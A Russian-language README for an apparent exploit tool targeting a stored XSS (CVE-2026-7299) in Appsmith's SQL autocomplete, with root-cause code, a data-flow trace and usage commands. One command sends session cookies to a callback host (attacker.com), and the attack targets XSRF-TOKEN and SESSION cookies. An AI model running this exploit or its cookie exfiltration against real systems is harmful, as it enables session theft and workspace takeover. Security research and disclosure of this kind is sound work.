
Автоматизация эксплуатации CVE-2026-7299 - Хранимый XSS через имена таблиц/столбцов базы данных в SQL Autocomplete в Appsmith =>1.99. Первоначальное обнаружение 30/03/26
Автоматический эксплойт для хранимой межсайтовой скриптовой уязвимости (XSS) в редакторе SQL-запросов Appsmith. Разработчик рабочей области может внедрить произвольный JavaScript через имена таблиц базы данных, который выполняется в браузере любого другого участника рабочей области при срабатывании автодополнения SQL.
Подтверждено на Appsmith v1.98 и, вероятно, затрагивает все предыдущие версии, где присутствует кастомный рендерер SQL-подсказок. Уязвимость присутствует в hintHelpers.ts:165, где безопасный рендеринг подсказок CodeMirror по умолчанию (textContent) переопределяется кастомным render-колбэком, который использует innerHTML для отображения имён таблиц и колонок базы данных без какой-либо санитизации.
Базовый PoC с alert:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!
Эксфильтрация cookie на callback-сервер:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--callback-url http://attacker.com:8888
Произвольная нагрузка:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--custom-payload ''
Если источник данных PostgreSQL ещё не создан, скрипт автоматически находит подключения, либо вы можете указать учётные данные:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--db-host postgres --db-name testdb --db-user postgres --db-pass postgres
https://www.youtube.com/watch?v=1RHBYZ2Bp_A
Appsmith — это платформа с открытым исходным кодом класса low-code, где команды создают внутренние инструменты, подключая источники данных и пиша запросы. Редактор SQL-запросов предоставляет подсказки автодополнения, заполняемые из метаданных таблиц и колонок подключённой базы данных.
Рендеринг автодополнения в hintHelpers.ts использует кастомный render-колбэк CodeMirror:
completion.render = (LiElement, _data, { className, text }) => {
const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
LiElement.setAttribute("hinttype", hintType);
LiElement.setAttribute("icontext", iconText);
LiElement.classList.add("cm-sql-hint");
LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
LiElement.innerHTML = text; // <-- unsanitized table/column name
};
Рендеринг подсказок по умолчанию в CodeMirror 5 использует textContent (безопасно). Appsmith переопределяет это на innerHTML, чтобы добавить собственные CSS-классы и атрибуты иконок для стилизации, но фактическое текстовое содержимое (имя таблицы) присваивается как сырой HTML. Ни на одном этапе 8-шагового потока данных от каталога базы данных до рендеринга в DOM санитизация не применяется.
Вся атака выполняется через веб-интерфейс Appsmith.
Атакующий (разработчик рабочей области) выполняет оператор CREATE TABLE с XSS-нагрузкой в качестве имени таблицы. PostgresPlugin в Appsmith не выполняет никакой фильтрации DDL: statement.execute(query) принимает любой корректный SQL, включая DDL.
CREATE TABLE "" (id serial primary key);
Любой другой участник рабочей области открывает редактор SQL-запросов для того же источника данных и начинает вводить запрос. Появляется выпадающий список автодополнения с предложениями имён таблиц, полученными из метаданных базы данных. Вредоносное имя таблицы рендерится через innerHTML, что приводит к выполнению JavaScript-нагрузки в браузерной сессии жертвы.
XSS выполняется в контексте приложения Appsmith с сессией жертвы. Атакующий может похитить сессионные cookie (XSRF-TOKEN, SESSION), эксфильтровать учётные данные источника данных или совершать API-вызовы от имени жертвы. Если жертва является администратором, атакующий получает полный контроль над рабочей областью.
PostgreSQL pg_catalog (table_name, column_name)
-> PostgresPlugin.getStructure() [no sanitisation]
-> DatasourceStructure Java POJO [no sanitisation]
-> REST API /api/v1/datasources/{id}/structure [no sanitisation]
-> Redux state.entities.datasources [no sanitisation]
-> getAllDatasourceTableKeys selector [no sanitisation]
-> SqlHintHelper.setDatasourceTableKeys() [no sanitisation]
-> CodeMirror hint.sql() completions [no sanitisation]
-> LiElement.innerHTML = text [XSS]
Санитизация отсутствует, поэтому payload рендерится через innerHTML и срабатывает в DOM при вызове рендерером автодополнения.
app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165Этот инструмент предоставляется только для авторизованного тестирования безопасности и в образовательных целях. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Я не несу ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.
Удачного взлома!